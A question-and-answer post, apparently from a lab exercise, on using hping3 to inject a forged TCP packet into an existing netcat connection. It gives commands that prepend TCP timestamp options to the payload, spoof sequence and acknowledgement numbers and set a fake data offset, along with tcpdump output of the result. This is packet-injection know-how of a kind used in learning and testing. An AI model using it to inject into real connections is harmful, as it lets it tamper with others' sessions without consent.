Using hping to inject packet into TCP netcat connection - tcpdump

Question

I have a netcat connection open between a server and a client and i am trying to craft a packet using hping to print the text on the client.
My issue is I am able to craft a very similar packet to what is needed but I am missing the TCP options that are in the packets that are sent from server to the client via netcat.
here is my hping command
hping3 -A -y -M 717766814 -L 3830111434 -N 37033 -w 227 -b -p 55526 -s 5555 -P 192.168.0.116 -c 1 -d 8 -E task4.txt
here is the packet i craft
11:16:45.116157 00:a0:98:64:9f:40 > 00:a0:98:36:c8:07, ethertype IPv4 (0x0800), length 62: (tos 0x0, ttl 64, id 37033, offset 0, flags [DF], proto TCP (6), length 48)
192.168.0.216.5555 > 192.168.0.116.55526: Flags [P.], cksum 0x5600 (incorrect -> 0x0355), seq 717766814:717766822, ack 3830111434, win 227, length 8
0x0000: 4500 0030 90a9 4000 4006 2782 c0a8 00d8 E..0..#.#.'.....
0x0010: c0a8 0074 15b3 d8e6 2ac8 409e e44a dcca ...t....*.#..J..
0x0020: 5018 00e3 5600 0000 4243 4445 4647 410a P...V...BCDEFGA.
the actual packet i need to craft
11:16:52.352624 00:a0:98:64:9f:40 > 00:a0:98:36:c8:07, ethertype IPv4 (0x0800), length 74: (tos 0x0, ttl 64, id 38493, offset 0, flags [DF], proto TCP (6), length 60)
192.168.0.216.5555 > 192.168.0.116.55526: Flags [P.], cksum 0x82cb (incorrect -> 0x0ce8), seq 717766814:717766822, ack 3830111434, win 227, options [nop,nop,TS val 1099353487 ecr 208117467], length 8
0x0000: 4500 003c 965d 4000 4006 21c2 c0a8 00d8 E..<.]#.#.!.....
0x0010: c0a8 0074 15b3 d8e6 2ac8 409e e44a dcca ...t....*.#..J..
0x0020: 8018 00e3 82cb 0000 0101 080a 4186 cd8f ............A...
0x0030: 0c67 9edb 4142 4344 4546 470a .g..ABCDEFG.
the packets are identical other than missing the options and the checksum
How can i add the options to my crafted packet or is there a another method to getting test to appear on the client using hping?

Answer 1

As you saw, hping3 does not provide a way to set TCP options out-of-the-box.
However, good news is that the TCP options are right next to the TCP payload in the packet. So you can prepend your data with the TCP options:
Instead of just the data, put the TCP options + data in the file you provide to hping3:
echo "0101080a4186cd8f0c679edb414243444546470a" | python3 -c "import sys, binascii; sys.stdout.buffer.write(binascii.unhexlify(input().strip()))" > /tmp/task4.txt
Send using hping3, you will need to change the data size to 20 and set the data offset to 8 (default data offset is 5 32 bits words) to properly identify the added TCP options:
-O --tcpoff
Set fake tcp data offset. Normal data offset is tcphdrlen / 4.
hping3 -A -y -M 717766814 -L 3830111434 -N 37033 -w 227 -b -p 55526 -s 5555 -P 192.168.134.161 -c 1 -d 20 -O 8 -E task4.txt
Resulting crafted packet:
08:27:07.956095 IP (tos 0x0, ttl 64, id 37033, offset 0, flags [DF], proto TCP (6), length 60)
192.168.134.142.5555 > 192.168.134.161.55526: Flags [P.], cksum 0x5451 (incorrect -> 0x0104), seq 0:8, ack 1, win 227, options [nop,nop,TS val 1099353487 ecr 208117467], length 8
0x0000: 4500 003c 90a9 4000 4006 1b92 c0a8 868e E..<..#.#.......
0x0010: c0a8 86a1 15b3 d8e6 2ac8 409e e44a dcca ........*.#..J..
0x0020: 8018 00e3 5451 0000 0101 080a 4186 cd8f ....TQ......A...
0x0030: 0c67 9edb 4142 4344 4546 470a .g..ABCDEFG.